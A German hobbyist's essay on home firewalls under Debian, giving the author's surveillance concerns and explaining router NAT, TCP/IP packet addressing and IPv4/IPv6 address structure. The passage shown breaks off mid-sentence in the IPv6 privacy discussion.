< Startseite >

Staatliche Überwachung, Internet-Kriminalität, Computer-Integrität und Schutz der digitalen Privatsphäre

Ein paar persönliche Überlegungen dazu, inwiefern uns das überhaupt betrifft, ob und wodurch wir bei digitalen Attacken möglicherweise selber Ursache sind, wie weit wir selber für die Wahrung unserer eigenen Interessen verantwortlich sind und ein paar technische Anregungen für Maßnahmen gegen virtuelle Einbruchsversuche.

Inhaltsübersicht über die Kapitel dieses Artikels:

> Ich will eine Firewall auf meinem PC einrichten...

> Prolog

> Malen nach Zahlen???

> Wir haben doch längst eine Firewall

> TCP/IP - Datenpakete

> Trotzdem eine lokale Firewall

> Konzept oder kein Konzept…?... das ist die Frage

> Vermeidbare Risiken

> Was ist notwendig, dass eine Firewall nicht nur so heisst, sondern auch eine ist?

> Einrichten des Paketfilters in 4 Varianten

> 1. Paketfilter für ein Mobil-Gerät mit wechselnden Netzwerkverbindungen

> 2. Paketfilter für meinen LAN-Server

> 3. Paketfilter für einen Client-PC im LAN (also hinter dem Router)

> 4. Paketfilter für eine VM ohne Zugriff auf das lokale Netzwerk

> Epilog

Ergänzende Artikel:

> ...noch ein paar technische Infos zum Paketfilter im Kernel

> Datenschutz vs. BigData - privat vs. kommerziell. Wie sicher ist...? Gedanken zur Einrichtung eigener Web-Dienste.

> Der archivierte und noch auf iptables basierende frühere Artikel

Anhang:

> RFC4890

> Anmerkungen zu den verwendeten Beispiel-IP-Adressen

> Änderungsprotokoll

 

"Ich will eine Firewall auf meinem PC einrichten ... wie geht das? ... hast Du vielleicht 'nen Tip für mich?"

Klar, kein Problem... aber vorher nur mal so aus Neugier 'ne kurze Frage... warum willst Du das eigentlich? "Um meinen PC vor Angriffen aus dem Internet zu schützen." Ah ja, das macht natürlich Sinn. Vor welchen Angriffen? "Na vor Viren und so ... und vor irgendwelchen Hackern, die meinen PC hacken wollen." Ja, die sind echt übel. Welche Programme und Dienste mit zum Internet geöffneten Ports laufen denn bei Dir. "Was meinst Du mit dienste und ports...?... mein PC ist ja am Internet angeschlossen und ich habe den Firefox zum surfen". Jau, alles klar, das ist natürlich brisant und da musst Du Dich wirklich um den Schutz Deines PCs kümmern...

Prolog

Einen Wortlaut, ganz ähnlich wie im ersten Absatz beschrieben, habe ich im Laufe meiner Debian-Zeit nun schon einige Male gelesen, gehört oder war sogar selber daran beteiligt. Sowohl bei privaten Gesprächen, als auch vereinzelt beim Lesen in verschiedenen Online-Foren. Und irgendwann war das dann auf einmal die Inspiration für die Idee, das Thema Firewall einfach mal aus meiner Sicht des privaten Heim-PC-Anwenders zu beschreiben, und das obwohl ich kann ganz sicher nicht behaupten kann, ein Sicherheitsexperte zu sein. Aber egal, man darf ja wohl trotzdem ‘ne Meinung haben, auch wenn man keine Ahnung hat….oder?  ;-)

Ich habe mit diesem Artikel nicht den Anspruch, ein professionelles Handbuch für den Netfilter im Linux-Kernel zu schreiben, oder mich mit Sicherheitsexperten zu messen oder gar zu konkurrieren - das kann ich nicht, das will ich nicht, so vermessen bin ich nicht. Dieser Artikel ist auch kein HowTo, mit dem man einfach eine bestimmte Installation vornehmen kann. Am treffendsten wäre er als persönlichen Bericht über Erlebtes, Erfahrenes und Erlerntes zu umschreiben. Vielleicht kann man ihn auch als „Versuch eines Amateurs zu einem Essay“ zu bezeichnen, in dem ich mich ganz unwissenschaftlich, aber umfassend mit dem Thema PC-Sicherheit befasse - wobei ich aber immer alle Aspekte aus meiner persönlichen Perspektive auf die technischen Belange betrachte. Die Grundlage meiner persönlichen Perspektive ist aber insbesondere Bescheidenheit und eine eher kritische Einschätzung der eigenen Wichtigkeit. Ich glaube nämlich, ich bin in Bezug auf die große und weite digitale Welt schlichtweg zu unwichtig, als das sich irgendwelcheGroßen‘ unmittelbar zielgerichtet für meine kleine IT-Welt interessieren könnten. Wenn überhaupt, finde ich mich vermutlich maximal immer nur in der Kiste „Kollateralschaden“ wieder… und genau darauf fokussieren sich meine präventiven Überlegungen. Ich betreibe kein Banken- oder Versicherungs-Netzwerk, auch nicht das Netzwerk eines Kraftwerks, sondern nur rein privat einen kleinen Intel NUC als LAN-Server…. somit also wirklich am untersten Ende der Bedeutungsskala angesiedelt. Selbstverständlich kann ich -soweit es die technischen Fakten angeht- auch nicht ausschließen, dass ich nicht selber vielleicht das eine oder andere falsch verstanden habe und infolgedessen dann hier auch falsch wiedergebe, aber genau so etwas ist durch den Charakter eines Essays eben auch nicht ausgeschlossen. In diesem Fall hoffe ich auf gutgemeinte Hinweise, um das korrigieren zu können. Meine Beweggründe für diesen Artikel sind eigentlich ziemlich banal.

Zum einen habe ich bei meiner Suche im Internet nach allem, was es zu diesem Thema an Infos gibt, regelmäßig bei allen Fundstücken immer wieder einem Laien leicht verständliche Erklärungen vermisst. Was dann infolge dessen immer wieder zu der gleichen Frage geführt hat "Wer soll das als Nicht-Fachmann eigentlich noch verstehen?". Und zum anderen gibt's jetzt einen relativ neu hinzugekommenen Aspekt, der mir derzeit tatsächlich noch wichtiger ist. Der muss allerdings wirklich banal sein, weil dieser Aspekt anscheinend den meisten anderen Usern völlig egal ist. Mir gefällt nämlich der aktuell eingeschlagenen Weg überhaupt nicht, wenn sich unsere zum Überwachungsstaat mutierende ‚Fassaden-Demokratie‘ immer mehr zur echten Bedrohung für die eigene digitale Privatsphäre und der allgemeinen Meinungsfreiheit entwickelt, bis hin zur staatlich verordneten Enteignung des Rechts auf diese Privatsphäre (siehe Stichworte z.B. Quellen-TKÜ, Staatstrojaner, Fin-Fisher, Fin-Spy, Evil Twin, "Neues" Polizeigesetz NRW 2018).

Bei dem Hintergrund sollten wir uns schon darüber im Klaren sein, was das für unserer aller Zukunft bedeuten kann und einfach mal drüber nachdenken. Denn wer sich bewusst ist, dass seine digital geäußerte Meinung wegen permanenter Telekommunikations-Überwachung schlimmstenfalls sogar Auswirkungen auf die eigene berufliche Karriere haben kann, wird irgendwann aus Sorge um seine wirtschaftliche Stabilität seine Meinung gar nicht mehr digital veröffentlicht äußern, sondern nur noch heimlich und hinter vorgehaltener Hand darüber sprechen. Die von dieser Regierung beabsichtigte gesetzlich legitimierte permanente und vollständige Überwachung von uns allen wäre z.B. auch der erste Schritt dazu, eine im Entstehen befindliche politische Opposition schon im Keim verhindern zu können…. indem man die sich im Web öffentlich äußernden oder in privater digitaler (abgehörter) Kommunikation politisch motivierte, aber oppositionell denkenden Leute einfach frühzeitig aus ihrer Karriereplanung und schlimmstenfalls sogar auch aus ihrer wirtschaftlichen Stabilität herausnimmt… nach dem Motto „wer nörgelt oder nicht nach ‚unseren' Regeln mitspielt, fliegt… oder darf im Keller Akten sortieren“. Die Chinesen zeigen uns derzeit mit ihrem Social-Credit-System, wie es geht, um eine totale Überwachung und effektive Bevölkerungskontrolle zu erreichen, ohne dabei repressiv gegen die Menschen vorgehen zu müssen…. das ist die Verwirklichung von Orwell‘s 1984. Ein schlechter Social-Credit-Punktestand „beweist“, dass es sich hier wohl um ein unbequemes Mitglied der Gesellschaft handelt, einen Störer…. und die werden wegen ihres Punkte-Defizites schlichtweg vom normalen Leben in der Gesellschaft ausgeschlossen, bei der Job-Suche, bei Beförderungen, Wohnungssuche, Kredite, bis hin bei der medizinischen Versorgung. Mit dem Social-Credit-System ist in der Bevölkerung ein System etabliert, mit dem sich die Bevölkerung selber -quasi autorepressiv- im Sinne des autoritären Regimes lenkt - das ist nicht wie 1984, das ist noch viel effektiver. Das System schützt sich damit auf effektive Weise selber, was selbstverständlich völlig normales Regime-Denken ist, aber genau davor müssen wir uns best-möglich schützen. Mit der Wegnahme des individuellen Rechtes auf digitale Privatsphäre und dem Verlust der persönlichen Hoheit für die eigenen Daten durch die permanente staatliche Überwachung geht also zwangsläufig auch die vollständige Unterdrückung der Meinungsfreiheit einher.

Ich möchte meine aus der Arbeit der letzten Monate gewonnenen Erkenntnisse mit diesem Artikel leicht verständlich, umfassend und in einem vom üblichen Zwang zur fakten-auflistenden Kurzschreibe weitestgehend befreiten Erzählstil weitergeben – als entspannte Lektüre abseits vom PC. Im Artikel vermische ich völlig ungehemmt sachliches, technisches und persönliches und führe irgendwann alles ausführlich erörtert zu einem Gesamtbild zusammen. Ich betrachte das als wichtig, weil es allein aufs technische beschränkt auch nur wieder ein HowTo wäre, welches eh nur die Fachleute verstehen, die eigentlich sowieso kein HowTo benötigen.

Aber auf eines möchte ich gleich zu Beginn deutlich hinweisen, der Artikel wendet sich zwar an Leute ohne tiefe Sachkenntnisse, aber er ist dennoch kein ‚Malen nach Zahlen‘. Ich setze gewisse Grundkenntnisse über Netzwerke voraus, z.B. was IP-Adressen sind, welche Funktion sie haben, was IP-Adressen innerhalb eines lokalen Netzwerkes gemeinsam haben, was ein Router ist, welche Aufgaben er hat, usw. Ein paar ganz allgemeine Basics über Netzwerke habe ich auf den ersten Seiten meines Caravan-Projektes beschrieben, was als Grundlage für diesen Artikel völlig ausreichend ist. Wer jedoch glaubt, er könne sich ohne Verständnis für die großen Zusammenhänge mal eben die am Ende beschriebenen Netfilter-Regeln auf seinen Rechner kopieren und starten und hätte

 
 

damit eine tolle Firewall, der täuscht sich ... allein damit hat er nämlich überhaupt nix, am allerwenigsten echte Sicherheit. Ohne Lesen, Verstehen, Prüfen und Anpassen geht wirklich absolut gar nichts. Wer allerdings mit Prosa und Epik ein Problem hat oder verlernt hat, mit langen Texten umzugehen, den bitte ich jetzt die Tastenkombination Alt-F4 zu drücken, was ihn erfolgreich davor bewahrt, jetzt noch weiter lesen zu müssen ... der benötigt vermutlich auch gar keine Firewall, oder hat schon eine, oder weiß eh alles besser. Für die geduldigen anderen Leser hoffe ich jedoch, ein paar Geheimnisse "lüften" zu können. Ich glaube nämlich, wenn man sich mit einer solchen Aufgabe befasst, sollte der private PC-Administrator -bevor er loslegt- wirklich klare Vorstellungen darüber haben, was er mit welcher sachlichen Begründung überhaupt erreichen will und was uns Laien als erreichbares Ziel überhaupt möglich ist. Auch dieser Artikel wendet sich also wieder an Leute, die eben keine ausgewiesenen Fachleute sind, die eben nur private PC-Anwender ohne Spezialisten-Kenntnisse sind. Ich hab‘s aufgeschrieben, weil ich solche Arbeit gerne tue und natürlich auch, damit meine Erkenntnisse vielleicht dem einen oder anderen dabei helfen, ebenfalls eigene und präventiv geeignete Maßnahmen zu entwickeln, ohne ein IT-Profi sein zu müssen oder einfach nur, um einen Einstieg in dieses schwierige Thema zu finden. Wenn dann beim Lesen der eine oder andere denkt „Ging mir genauso“ oder „So sieht es bei mir auch aus“ oder „Damit kann ich was anfangen“ oder „Aha, so ist das also“, dann war dieser Artikel schon ein Erfolg. Ja, sicher, natürlich ist mir auch bewusst, dass man echte Profis, die unbedingt "rein" wollen, und das auch noch ganz gezielt, vermutlich nicht abhalten kann. Aber wir müssen denen ja nicht selber unsere digitalen Türen bereitwillig weit öffnen und damit quasi Einladungen aussprechen, wir müssen es denen überhaupt nicht einfach machen.... das genaue Gegenteil ist der Fall.

Natürlich habe ich lange und gezielt im Web gesucht und in unzähligen Texten recherchiert, um Informationen zu finden, mit denen ich erst mal selber eigene grundsätzliche Vorstellungen über die Ausgestaltung einer persönlichen Firewall entwickeln konnte und mit denen ich dann am Ende auch wirklich meine Vorstellungen für eine solche Firewall realisieren konnte. Parallel dazu hab ich in zweistelliger Anzahl Programm-Entwürfe entwickelt und getestet, korrigiert oder mangels Zufriedenheit wieder verworfen. Technische Artikel, Man-Pages, die Netfilter-Project-Seiten, viele Beispiel-Regel-Sätze für den Paketfilter, pro- und contra-Ansichten über die Wirksamkeit von Personal Firewalls auf End-User-PCs, alles findet man zuhauf... nur fehlten bei fast allen der gezeigten Modelle und Beispiele die etwas tiefer gehenden Erklärungen über die Rahmenbedingungen, mit welcher genauen Zielsetzung das überhaupt genau so gemacht wurde und welche Wirkung das warum an welcher Stelle hat. Was hilft es mir, wenn ich lese "...sperrt Port 99 für Protokoll XYZ", wenn ich gar nicht weiß, warum und ob überhaupt es notwendig sein könnte, speziell diesen Port auf meinem PC zu sperren? Wie soll ich denn da als Beginner beurteilen, ob das für meine Zwecke und Absichten überhaupt geeignet oder notwendig ist? Wie sinnvoll ist es, wenn ich mir die beste Firewall von allen installiere, mir gleichzeitig aber gar nicht bewusst ist, dass ich sie mit meinem gewohnten (aber doch eher leichtsinnigen) Anwenderverhalten wieder vollständig neutralisiere …?... wobei ich nicht mal im Traum daran gedacht habe, dass mein eigenes Verhalten vielleicht so leichtsinnig sein könnte, dass genau davon die größte Gefahr ausging… denn so etwas würde ich doch nie wollen. Ich konnte das alles zusammen meistens jedenfalls nicht einschätzen, also lief es mal wieder darauf hinaus, sich alles einzeln mühsam erarbeiten zu müssen.

Was ich jetzt hier beschreibe, ist also nur die Essenz dessen, was ich mir in dieser Lehrzeit an Kenntnissen erarbeitet habe. Für die Zwecke meiner privaten Computerei reicht das völlig aus, es wird aber wohl trotzdem nur ein Teil dessen sein, was insgesamt möglich ist. Diese kleine Einleitung zum eigentlichen Thema soll also die Richtung weisen, wie man meinen Artikel einschätzen muss. Es sind Anfangs-Kenntnisse für einfache Basislösungen. Mit diesem limitierten Kenntnisvorrat ist es jedenfalls nicht möglich, die Firewall für einen Linux-Router zu schreiben... aber das war auch nie man Ziel, mir geht's nur um meine PC's. Also werde ich hier in diesem Text auch keinesfalls die sehr anspruchsvolle und technisch tatsächlich mögliche Tiefe erreichen. Wer das braucht oder will muss sich das notwendige Wissen an anderer Stelle aneignen.

"Was waren denn Deine Beweggründe eine Firewall einzurichten?"

Tja, in erster Linie waren es anfangs vermutlich wohl fehlende Sachkenntnisse, also einfach nur Ahnungslosigkeit. Und dann als zweites der das Problem auslösende Umstand, dass ich nach dem Wechsel von DSL auf VDSL auf einmal einen Dual-Stack-Anschluss hatte. Solange mein alter DSL-Anschluss ein reiner IPv4-Anschluss war, hatte ich für unsere Debian-PCs zu keiner Zeit den Gedanken, dass diese eine Personal Firewall brauchen würden. Aber die technische Besonderheit, dass für IPv6 kein NAT notwendig und deshalb auch erst mal nicht mehr vorhanden ist, das jeder PC mit seiner Global-Unicast-IPv6-Adresse selber und direkt im Internet präsent ist, schien mir doch sehr suspekt. Was NAT für IPv4 und die Sicherheit unserer LAN-Clients bedeutet, beschreibe ich ein paar Absätze weiter unten, aber genau das ist für IPv6 zunächst mal nicht vorgesehen. Die Tatsache, dass mit IPv6 jeder PC direkt mit seinem Ziel-Host im Internet kommunizieren kann, ist ganz unzweifelhaft ein Vorteil, wird damit doch viel datenfluss-technischer Overhead mit einem Mal total überflüssig, alles geht schneller, einfacher, besser, direkter.

Aber es hat mich dennoch einigermaßen beunruhigt, so sehr, dass der Gedanke aufkam, eine Firewall könnte jetzt zwingend notwendig sein. Eben weil ich auch glaubte, dass mein PC im Internet jetzt allgemein sichtbar und ansprechbar ist und er allein deswegen unbedingt geschützt werden müsste. Aber wie wir sehen werden, war das einfach nur ein Irrtum. Und genau diesen zumeist fehlenden Sachkenntnissen über die wichtigen und elementaren Hintergründe für den sinnvollen Betrieb einer Firewall widme ich den Großteil meines Artikels, womit es dann anschließend auch möglich sein sollte, die im Internet gefundenen technischen Suchergebnisse mit jetzt besserem eigenem Verständnis zu bewerten und einzuordnen. Und jetzt alles weitere einfach mal überspringend und weit vorgreifend komme ich heute und ganz aktuell wieder zu dem Fazit, dass ich auf meinem eigenen PC -wie schon früher- auch heute immer noch keine Firewall benötige. Ich habe sie zwar, sie ist auch aktiv, aber das ist eindeutig mehr mit der Lust am Tun begründet, als das es hier eine zwingende Notwendigkeit gäbe oder das sie die Sicherheit gravierend verbessert. Aber dieses Fazit ist natürlich nicht allgemein übertragbar, es gilt nicht für meinen Laptop und auch nicht für die Server, sondern nur für meinen eigenen PC. Und das ist allein in der Art und Weise meines persönlichen Umgangs mit unserem IT-Equipment begründet.... mit anderen Worten: andere Gegebenheiten = andere Erfordernisse = andere Lösungen!

Früher unter Windows war das ja alles kein Thema, da war eine Firewall obligatorisch aktiviert und man wurde immer wieder mit deutlichen Hinweisen gewarnt, wenn diese Firewall nicht aktiviert war. Die User waren daran gewöhnt und allein durch den Begriff „Firewall“ und der Erwartungshaltung einen mächtigen Schutz zu haben geradezu beruhigt. Nun ist bei einigen Linux-Distributionen so eine Firewall anscheinend nicht von vornherein installiert und auch nicht generell im Desktop-Environment der Distribution aktiviert..... ‚ganz schön schlampig von den Entwicklern‘ stellt man fest und fällt ein treffendes Urteil. Ja sicher, ich verstehe natürlich, wie man zu diesem Fazit kommt, weil ein solcher Missstand ja eigentlich überhaupt nicht mehr zur Erwartungshaltung eines Anwenders passt, der sich früher von seiner Windows-Firewall gut beschützt gefühlt hat.

Einige der Anwender, mit denen ich gesprochen habe, haben scheinbar die Vorstellung, dass ihr mit dem Internet verbundener PC generell schutzlos ist und allen aus dem Internet kommenden bösen Absichten quasi hilflos ausgeliefert ist, wenn keine Firewall installiert ist. Warum sonst wird die Verwendung der Firewall bei Windows so nachhaltig empfohlen? Da liegt es doch nahe, bei den Linux-Distributionen -wie z.B. bei Debian- ein faules Versäumnis zu vermuten, wenn eine solche Firewall fehlt.

Aber ist es wirklich Schlampigkeit? Oder ein Versäumnis? Nein, natürlicht nicht! Ganz einfach....

 
 

.... wir haben doch längst eine Firewall!

Nein, es ist weder ein Versäumnis, noch geht damit automatisch eine Gefährdung des eigenen PCs einher, wie man übertrieben ängstlich und ohne tiefer gehende Sachkenntnisse vielleicht befürchten könnte. Für die meisten privaten Computer-Besitzer gelten nämlich für den Internet-Zugang und speziell diese Sicherheitsfrage betreffend maßgebliche Rahmenbedingungen, aus denen wir schließlich die für uns wichtige Erkenntnis ableiten können, das die bei Debian fehlende Desktop-Firewall absolut kein unüberschaubares Sicherheitsrisiko für Übergriffe aus dem Internet darstellt.

Wir alle, die wir als private Home-Computer-Anwender mit einem DSL-Zugang Kunde bei einem der üblichen Internet-Provider sind, haben im Regelfall schon eine einzelne speziell für diesen Zweck wirksame Firewall-Funktion installiert, und zwar ganz ohne unser Zutun. Diese einzelne „Firewall“-Funktion ist in unserem DSL-Router resp. dessen Firmware enthalten, sie ist standardmäßig aktiviert und sie blockt wirksam alle vom Internet ausgehenden unautorisierten Zugriffe auf unsere Hardware. Es versteht sich von selbst, dass das keine echte vollwertige Firewall ist – denn allein irgendwelchen PCs im LAN den Zugang zum Internet (Kinderschutz) sperren oder zeitlich begrenzen zu können und einzelne Ports auf einen Rechner im LAN forwarden zu können macht noch lange keine Firewall aus. Aber es ist eben eine Funktion, die die von außen kommenden Zugriffsversuche blockieren kann. Eine richtige Firewall hat darüber hinaus deutlich mehr Möglichkeiten, aber eine solche (wie z.B. OPNsense) läuft dann sowieso nicht auf unserem PC, sondern eher auf einem dedizierten Rechner zwischen unserem Netzwerk und dem Internet und kontrolliert/reguliert den gesamten Netzverkehr ins Internet. Wir haben es also hier mit 3 ähnlichen Aspekten zu tun, jedoch mit gravierend unterschiedlichen Funktionen und Stärken. Die sehr limitierte Firewall des DSL-Routers, die persönliche Firewall auf dem PC, die zwar umfassende Möglichkeiten bietet, aber nur isoliert auf diesem PC wirkt, und schließlich die professionellen Ansprüchen genügende FW mit eigener dedizierter (und somit zusätzlicher) Hardware, die den kompletten Datenverkehr aller Clients im LAN schützen bzw. regulieren kann. Aber da bin ich mir sicher, dass ich das weder will noch brauche. Ich will keine zusätzlichen Anschaffungskosten, keine zusätzlichen Betriebskosten und keinen zusätzlichen Arbeitsaufwand für Wartung …. es ist ja schließlich nur ein kleines privates Netzwerk. Wem das allerdings nicht reicht, dem bleibt wirklich nur der Weg mit einer professionellen Lösung, wie z.B. mit dem schon genannten OPNsense… diese Firewall ist wohl über jeden Zweifel erhaben.

Um nun wieder zum Thema zurückzukehren, diese durch die auf dem PC fehlende Personal Firewall vermeintlich existierende Gefahrensituation ist meiner Meinung nach eigentlich ein Irrglaube. Man muss nämlich nur mal auf Windows schauen und gleichzeitig die seit Jahren andauernde Situation mit Malware einbeziehen … die Windows-Firewall gibt‘s ja auch schon seit Windows 7 … und wirklich geändert hat die an der Gesamtsituation auch nichts - ob mit oder ohne bedeutet für die breite Masse der privaten PC-Anwender faktisch keinen Unterschied. Also ist darüber hinausgehend eben auch anzumerken, dass der Glaube daran, eine zusätzliche auf dem PC installierte Personal Firewall würde die Sicherheit wirklich immer verbessern, auch nur ein Irrglaube ist... denn das tut sie nämlich nur unter ganz besonderen Rahmenbedingungen. Ich hoffe, dass es mir in diesem Artikel gelingt, das zu erklären. Es ist also zunächst mal völlig in Ordnung, wenn bei einem Desktop-Environment-Debian während der Installation nicht gleichzeitig eine Firewall installiert wird. Das folgende Bild soll ein wenig dabei helfen, einen etwas besseren Überblick durch das mit den jeweiligen IP-Adressen ermöglichte Beziehungsgeflecht der Geräte untereinander zu bekommen. In den zwei danach folgenden Grafiken verwende ich für die Darstellung bestimmter Transportweg-Eigenschaften (NAT, FW) eines IP-Pakets zwischen 2 Endpunkten erneut die gleichen beispielhaften und willkürlich erfundenen IP-Adressen. Aber vorab sollten wir uns ein paar ganz allgemein geltende Grundsätze verinnerlichen, auf die ich im Artikel als Basis für weitere Erkenntnisse und Entscheidungen und auch für die Programme zurückgreife:

1. Jeder Internet-Teilnehmer hat eine weltweit gültige und weltweit einmalige IP-Adresse, mit der er eindeutig identifiziert werden kann. (Anmerk.: Eine Aussage über die Gültigkeitsdauer dieser IP ist hier nicht enthalten, und auch nicht darüber, dass ‚jemand‘ auch mehrere Internetzugänge haben kann, ich beziehe mich nur auf den Moment einer aktuellen (privaten) Verbindung).

2. Bei IPv4 (32 Bit Länge) ist auf Grund der begrenzten Anzahl maximal möglicher IPv4-Adressen der DSL-Router der einzige echte Internet-Teilnehmer im privaten Netz (siehe NAT).

3. Bei IPv6 (128 Bit Länge) kann auf Grund der sehr hohen Anzahl möglicher Adressen im 2000::‘er Netz neben dem DSL-Router auch jedes Client-Gerät selber Internet-Teilnehmer sein.

4. Für IPv4-Netze erhalten private Internet-Teilnehmer von ihrem DSL-Anbieter eine internettaugliche IP-Adresse, die normalerweise der DSL-Router verwendet. Das lokale Netzwerk wird vom Router repräsentiert, basierend auf einem privaten IP-Range:  Class-C-Netz 192.168.*/24, Class-B-Netz 172.*/16 und Class-A-Netz 10/8. Lokale IPv4-Adressen im LAN werden den Clients üblicherweise vom Router via DHCP zugewiesen und sind nicht internettauglich.

 

5. Für IPv6-Netze erhalten private Internet-Teilnehmer von ihrem DSL-Anbieter einen weltweit einmaligen Prefix, mit dem eine 64 Bit lange Site-ID gebildet wird, die das „eigene“ Netzwerk repräsentiert und die via Router Advertisement an die Clients im LAN übermittelt wird. Weitere 64 Bits (ab Bit 65) enthalten den Interface Identifier, den jedes Gerät abgeleitet aus der MAC-Adresse des Netzwerk-Interfaces im Gerät selber ermittelt. Die 128 Bits zusammen ergeben mit der Site-ID und dem Interface Identifier die internettaugliche IPv6-Adresse des Geräts, die letztlich nicht von extern zugewiesen, sondern „zustandslos“ (SLAAC) durch den Client-PC selber ermittelt wurde.

6. Lokale IP4/6-Daten-Pakete (Quelle und Ziel = LAN) werden normalerweise nicht über das Internet geroutet.

7. Eine direkte Kommunikation zwischen IPv4 und IPv6 ist nicht möglich (siehe IP-Transition-Technologies, 6to4, etc.).

8. Eine IP-Adresse besteht i.ü.S. immer aus 2 Teilen, zuerst der Netzwerk-Anteil, der für alle Clients im privaten LAN gleich ist. Dann folgt der Client-Anteil, der zur eindeutigen Unterscheidung im LAN für jeden Client einmalig ist.

Ein Beispiel für ein klassisches privates IPv4-Class-C Netz:

                               Netzwerk-Anteil            Client-Anteil

IP:      198.51.100.002/24     11000110.00110011.01100100.00000010

Subnet:  255.255.255.000       11111111.11111111.11111111.00000000

                               Bits 0 - 24                Bits 25 - 32

Ein Beispiel für ein IPv6-Netzwerk:

                               Site-ID                Interface-Identifier

                               (Netzwerk-Anteil)      (Client-Anteil)

Global Unicast Adress, IP:     2001 : db8 : f3 : 40 : cc29 : baff : fed9 : 22 / 64

                               Bits 0 - 64            Bits 65 – 128

Die Breite von /24 bzw. /64 Bits legt bei diesen Beispielen jeweils den Netzwerk-Anteil in der IP-Adresse fest. Geräte im LAN mit gleichem Netzwerk-Anteil können unmittelbar miteinander kommunizieren.  Ein markanter Unterschied zwischen IPv4 und IPv6 ist die Subnet-Mask, die seit der Einführung von CIDR ein klassenloses Domain-Routing ermöglicht. Seit CIDR ist für IPv4 die Angabe der Subnet-Mask zwingend notwendig, was hingegen bei den früheren Netzwerkklassen nicht erforderlich war. Der Grund für CIDR war die traditionelle Knappheit von IPv4-Adressen und die durch Netzklassen entstehende weitere künstliche Beschränkung -  was es bei IPv6 so gar nicht gibt, weswegen IPv6 eben ohne Subnet-Mask auskommt – für mich ein weiterer Vorteil von IPv6.

Fakt ist also, jeder moderne handelsübliche DSL-Router ist (bereits durch den Hersteller implementiert) standardmäßig mit einer sehr einfachen, rudimentären  Firewall-Funktion ausgestattet, die seit der Inbetriebnahme des Routers in unserem Heimnetzwerk jegliche aus dem Internet kommenden Versuche zu einem Verbindungsaufbau auf ein Gerät in unserem privaten Netzwerk rigoros blockiert. Was also diese befürchteten Attacken aus dem Internet auf unsere PCs angeht… das geht so nicht, solche Möglichkeiten haben Angreifer nicht mal eben auf die Schnelle, das kann der DSL-Router durchaus abwehren.

Solche Attacken können nur erfolgreich funktionieren, wenn schon bereits geöffnete Türen im Router vorhanden sind (wie offene Ports und Weiterleitungen oder mangelhafte Einstellungen der WLAN-Security), sei es vorher durch den Anwender selber geöffnet oder durch einen Fehler in der Firmware - beim letzteren wäre es sogar ein echter Exploit. Aber das ist nicht die Regel und geöffnete Ports sind auch nicht von vornherein so eingestellt.

Eine zweite Möglichkeit besteht noch, wenn auf dem PC des Anwenders ein Programm (Schadsoftware) läuft, welches von sich aus eine schadensverursachende Verbindung ins Internet aufbaut, was allerdings quasi einer Einladung gleichkommt und deshalb nicht der Firewall anzulasten ist.

 
 

Also, in solchen Fällen bestehen die Schwachstellen unzweifelhaft im LAN. Meines Erachtens ist es aber unstrittig, dass ohne diese Schwachstellen jedenfalls kein Eindringen 'einfach so' von außen durch beliebige Hacker möglich ist. Der von der Router-Firewall gegebene Schutz funktioniert tatsächlich zuverlässig. Und bezogen auf die andere Seite der Medaille müssen wir die Tatsache verstehen, dass jede Firewall ohne jeden Zweifel völlig wirkungslos ist, wenn Türen von innen geöffnet werden. Dazu ein Hinweis am Rande, mit solchen -vermutlich ungewollten- von innen geöffneten Schwachstellen befasse ich mich in diesem Artikel noch sehr intensiv und zeige Möglichkeiten, diese erfolgreich zu vermeiden.

Und schließlich darf man bei solchen Einbruchsversuchen keinesfalls vergessen, dass der erfolgreiche Versuch eines Verbindungsaufbaus aus dem Internet auf ein bestimmtes Gerät ja beinhalten würde, dass der Eindringling in unser LAN hinter der Router-Firewall nicht nur unsere Client-Geräte sieht, er kennt sogar auch noch deren lokale IP-Adressen, um ein Gerät überhaupt gezielt ansprechen zu können. Bei der in Heim-Netzwerken üblichen Verwendung von IPv4-Adressen für die Client-Geräte ist das aber völlig unmöglich, denn die lokalen IPv4-Adressen gehören alle einem privaten und rein lokal begrenzten IP-Range an, der gar nicht internettauglich ist, der internetseitig auch nicht bekannt ist und den der Router mit einer Gültigkeit auf unser LAN beschränkt durch seine Einstellungen vorschreibt. Selbst bei einer hergestellten Verbindung eines unserer Clients ins Internet wird dessen lokale IPv4-Adresse nicht übermittelt, der Router ersetzt sie vorher durch Network Address Translation (NAT) mit seiner eigenen WAN-IP. Das ist notwendig, damit Antwort-Pakete auch wieder den Weg zurück in unser Netzwerk finden, eben weil die lokale Client-IPv4 weder bekannt noch internettauglich ist. Das bedeutet, dass das Internet einen typischen privaten IPv4-Client zunächst mal gar nicht sieht, das Internet kommuniziert quasi nur mit unserem DSL-Router, der damit als Vermittler der Datenpakete zwischen Client-Gerät und Internet arbeitet.

TCP/IP-Datenpakete – Sender und Empfänger

Es wird etwas leichter verständlich, wenn man sich einmal ein auf die Reise gehendes Datenpaket anschaut. Fester Bestandteil eines jeden Datenpakets sind neben den zu übermittelnden Daten (Payload, i.ü.S. Nutzlast) die beiden Felder des IP-Headers, wer hat es gesendet (Source-Addr) und wer ist der Empfänger (Dest-Addr).

Die Source-Addr ist notwendig, damit der Empfänger für eine Rückantwort diese IP in der Dest-Addr seines Antwort-Paket eintragen kann. In der Rückantwort ist also die vorherige Quell-Adresse jetzt die Ziel-Adresse, und das ist erst mal unser Router. In unserem Router findet in beiden Fällen (in/out) jeweils die Network Address Translation statt.

 
 

Aber auch bei der Verwendung von IPv6 und der dort fehlenden NAT gibt es durchaus Möglichkeiten, diesen vermeintlichen Mangel etwas zu kompensieren. Ein Nachteil der Kombination ISP-Prefix (Bestandteil der Site-ID) und SLAAC (i.ü.S. Machine-ID) bei der Bildung der lokalen IPv6 ist nämlich, dass eine IPV6-Adresse durchaus auch längere Zeit konstant sein kann, ohne das sie tatsächlich von uns gewollt „static“ ist. Der Nachteil ist, der PC wäre darüber dann im Internet wiederholt eindeutig identifizierbar. Das liegt daran, das die Machine-ID der IPv6 nicht wirklich zufällig errechnet, sondern aus der MAC-Adresse des Netzwerk-Interfaces abgeleitet wird. Wir erinnern uns, die IPv6 wird nicht zugewiesen, sondern lokal gebildet und ist eine Kombination aus Site-ID und dem Interface-Identifier (s.o.). Dieser Pseudo-Static-Effekt kann beispielsweise bei typischen DS-Lite-Verträgen auftreten, wenn der ISP-Prefix nur nach Trennung des Netzwerkes oder durch einen Router-Neustart aktualisiert wird, ansonsten aber wegen der fehlenden Zwangstrennung konstant bleibt. Die MAC-Adresse ist konstant, bleibt der Prefix auch konstant, bleibt als Ergebnis natürlich auch die IPv6 unseres Computers konstant. Selbst ein Neustart des PCs hat überhaupt keine Auswirkung auf die Bildung einer neuen IPv6, weil der Prefix vom Router 